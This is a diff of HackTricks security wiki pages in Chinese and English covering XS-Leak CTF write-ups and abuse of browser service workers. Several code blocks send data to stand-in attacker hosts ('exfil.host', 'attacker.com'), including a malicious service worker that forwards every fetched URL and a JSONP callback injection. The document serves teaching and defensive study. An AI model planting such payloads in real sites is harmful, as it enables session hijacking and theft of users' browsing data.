学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**利用来源于[https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
**漏洞来自 [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||||
|
|
||||||
在这个挑战中,用户可以发送数千个字符,如果包含标志,则字符将被发送回给机器人。因此,通过发送大量字符,攻击者可以测量发送的字符串中是否包含标志。
|
在这个挑战中,用户可以发送数千个字符,如果包含标志,字符将被发送回机器人。因此,攻击者可以通过发送大量字符来测量标志是否包含在发送的字符串中。
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
最初,我没有设置对象的宽度和高度,但后来发现这很重要,因为默认大小太小,无法在加载时间上产生差异。
|
最初,我没有设置对象的宽度和高度,但后来我发现这很重要,因为默认大小太小,无法在加载时间上产生差异。
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```html
|
```html
|
||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
|
@ -114,14 +117,17 @@ main()
|
||||||
|
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,21 @@
|
||||||
# performance.now 示例
|
# performance.now 示例
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向**hacktricks仓库**[**提交PR**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**示例取自[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
**示例取自 [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**
|
||||||
```javascript
|
```javascript
|
||||||
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
||||||
|
|
||||||
|
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
||||||
|
|
||||||
document.addEventListener('DOMContentLoaded', main);
|
document.addEventListener('DOMContentLoaded', main);
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **通过向** [**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,21 @@
|
||||||
# URL最大长度-客户端
|
# URL 最大长度 - 客户端
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向**hacktricks仓库**(https://github.com/carlospolop/hacktricks)**和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
来自[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
来自 [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||||
```html
|
```html
|
||||||
<html>
|
<html>
|
||||||
<body></body>
|
<body></body>
|
||||||
|
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
app.run(host='0.0.0.0', port=1337)
|
app.run(host='0.0.0.0', port=1337)
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* 通过向[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) 提交PR来分享你的黑客技巧。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,18 +1,19 @@
|
||||||
# 滥用Service Workers
|
# Abusing Service Workers
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中被宣传**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或**关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* 通过向**hacktricks仓库**和**hacktricks-cloud仓库**提交PR来**分享您的黑客技巧**。
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
@ -22,33 +23,33 @@
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
## 基本信息
|
## Basic Information
|
||||||
|
|
||||||
**Service Worker**是浏览器在后台运行的脚本,与任何网页分开,可以实现不需要网页或用户交互的功能,从而增强**离线和后台处理**功能。有关Service Worker的详细信息,请参阅[这里](https://developers.google.com/web/fundamentals/primers/service-workers)。通过利用易受攻击的Web域中的Service Worker,攻击者可以控制受害者与该域内所有页面的交互。
|
**服务工作者**是由浏览器在后台运行的脚本,与任何网页分开,启用不需要网页或用户交互的功能,从而增强**离线和后台处理**能力。有关服务工作者的详细信息可以在[这里](https://developers.google.com/web/fundamentals/primers/service-workers)找到。通过利用易受攻击的网页域中的服务工作者,攻击者可以控制受害者与该域内所有页面的交互。
|
||||||
|
|
||||||
### 检查现有Service Workers
|
### Checking for Existing Service Workers
|
||||||
|
|
||||||
可以在**开发者工具**的**应用程序**选项卡中的**Service Workers**部分检查现有的Service Workers。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获得更详细的视图。
|
可以在**开发者工具**的**应用程序**选项卡中的**服务工作者**部分检查现有的服务工作者。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获取更详细的视图。
|
||||||
|
|
||||||
### 推送通知
|
### Push Notifications
|
||||||
|
|
||||||
**推送通知权限**直接影响**Service Worker**与服务器进行通信而无需直接用户交互的能力。如果权限被拒绝,将限制Service Worker对构成持续威胁的潜在性。相反,授予权限会增加安全风险,通过启用接收和执行潜在利用的功能。
|
**推送通知权限**直接影响**服务工作者**与服务器进行通信的能力,而无需直接用户交互。如果权限被拒绝,则限制了服务工作者造成持续威胁的潜力。相反,授予权限会增加安全风险,因为这使得接收和执行潜在漏洞成为可能。
|
||||||
|
|
||||||
## 攻击创建Service Worker
|
## Attack Creating a Service Worker
|
||||||
|
|
||||||
为了利用这个漏洞,您需要找到:
|
为了利用此漏洞,您需要找到:
|
||||||
|
|
||||||
* 一种**上传任意JS**文件到服务器的方法和一个**XSS来加载上传的JS文件的Service Worker**
|
* 一种方法来**上传任意 JS** 文件到服务器,以及一个**XSS 来加载上传的 JS 文件的服务工作者**
|
||||||
* 一个**易受攻击的JSONP请求**,您可以**操纵输出(使用任意JS代码)**和一个**XSS**来**加载带有有效负载的JSONP**,这将**加载恶意Service Worker**。
|
* 一个**易受攻击的 JSONP 请求**,您可以在其中**操纵输出(使用任意 JS 代码)**,以及一个**XSS**来**加载带有有效负载的 JSONP**,该有效负载将**加载恶意服务工作者**。
|
||||||
|
|
||||||
在以下示例中,我将呈现一个代码来**注册一个新的Service Worker**,该Service Worker将侦听`fetch`事件,并将**发送每个获取的URL到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的JSONP**响应加载的代码):
|
在以下示例中,我将展示一个代码来**注册一个新的服务工作者**,该服务工作者将监听`fetch`事件,并将**每个获取的 URL 发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**易受攻击的 JSONP** 响应加载的代码):
|
||||||
```javascript
|
```javascript
|
||||||
self.addEventListener('fetch', function(e) {
|
self.addEventListener('fetch', function(e) {
|
||||||
e.respondWith(caches.match(e.request).then(function(response) {
|
e.respondWith(caches.match(e.request).then(function(response) {
|
||||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
以下是将**注册工作线程**的代码(您应该能够执行滥用**XSS**的代码)。在这种情况下,将向**攻击者**服务器发送**GET**请求,通知**服务工作者**的**注册**是否成功:
|
这是将**注册工作者**的代码(您应该能够通过利用**XSS**执行的代码)。在这种情况下,将向**攻击者**的服务器发送**GET**请求,**通知**服务工作者的**注册**是否成功:
|
||||||
```javascript
|
```javascript
|
||||||
<script>
|
<script>
|
||||||
window.addEventListener('load', function() {
|
window.addEventListener('load', function() {
|
||||||
|
@ -66,21 +67,21 @@ xhttp2.send();
|
||||||
});
|
});
|
||||||
</script>
|
</script>
|
||||||
```
|
```
|
||||||
在滥用易受攻击的 JSONP 端点的情况下,您应该将值放在 `var sw` 内。例如:
|
在滥用易受攻击的 JSONP 端点时,您应该将值放入 `var sw` 中。例如:
|
||||||
```javascript
|
```javascript
|
||||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||||
```
|
```
|
||||||
有一个专门用于利用**Service Workers**的**C2**,名为[**Shadow Workers**](https://shadow-workers.github.io),将非常有用来滥用这些漏洞。
|
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||||||
|
|
||||||
**24小时缓存指令**将恶意或被入侵的**service worker (SW)** 的寿命限制在至多24小时,在修复XSS漏洞后,假设在线客户端状态。为了最小化漏洞,站点运营者可以降低SW脚本的存活时间(TTL)。开发人员还建议为快速停用创建一个[**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)。
|
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
|
||||||
|
|
||||||
## 通过DOM Clobbering滥用SW中的`importScripts`
|
## Abusing `importScripts` in a SW via DOM Clobbering
|
||||||
|
|
||||||
从Service Worker中调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以**修改的参数调用此函数,他将能够**从自己的域导入JS脚本**并获取XSS。
|
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||||||
|
|
||||||
**这甚至可以绕过CSP保护。**
|
**这甚至绕过了CSP保护。**
|
||||||
|
|
||||||
**示例易受攻击的代码:**
|
**Example vulnerable code:**
|
||||||
|
|
||||||
* **index.html**
|
* **index.html**
|
||||||
```html
|
```html
|
||||||
|
@ -96,19 +97,19 @@ let host = searchParams.get('host');
|
||||||
self.importScripts(host + "/sw_extra.js");
|
self.importScripts(host + "/sw_extra.js");
|
||||||
//host can be controllable by an attacker
|
//host can be controllable by an attacker
|
||||||
```
|
```
|
||||||
### 使用DOM Clobbering
|
### 使用 DOM Clobbering
|
||||||
|
|
||||||
有关DOM Clobbering的更多信息,请查看:
|
有关 DOM Clobbering 的更多信息,请查看:
|
||||||
|
|
||||||
{% content-ref url="dom-clobbering.md" %}
|
{% content-ref url="dom-clobbering.md" %}
|
||||||
[dom-clobbering.md](dom-clobbering.md)
|
[dom-clobbering.md](dom-clobbering.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
如果SW用于调用**`importScripts`**的URL/域位于**HTML元素内**,则可以通过DOM Clobbering进行修改,使SW从**您自己的域**加载脚本。
|
如果 SW 用于调用 **`importScripts`** 的 URL/域名 **在一个 HTML 元素内**,则 **可以通过 DOM Clobbering 修改它**,使 SW **从您自己的域加载脚本**。
|
||||||
|
|
||||||
有关此示例,请查看参考链接。
|
有关此的示例,请查看参考链接。
|
||||||
|
|
||||||
## 参考资料
|
## 参考
|
||||||
|
|
||||||
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
|
||||||
|
|
||||||
|
@ -118,14 +119,17 @@ self.importScripts(host + "/sw_extra.js");
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS & HackTricks衣服**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||||
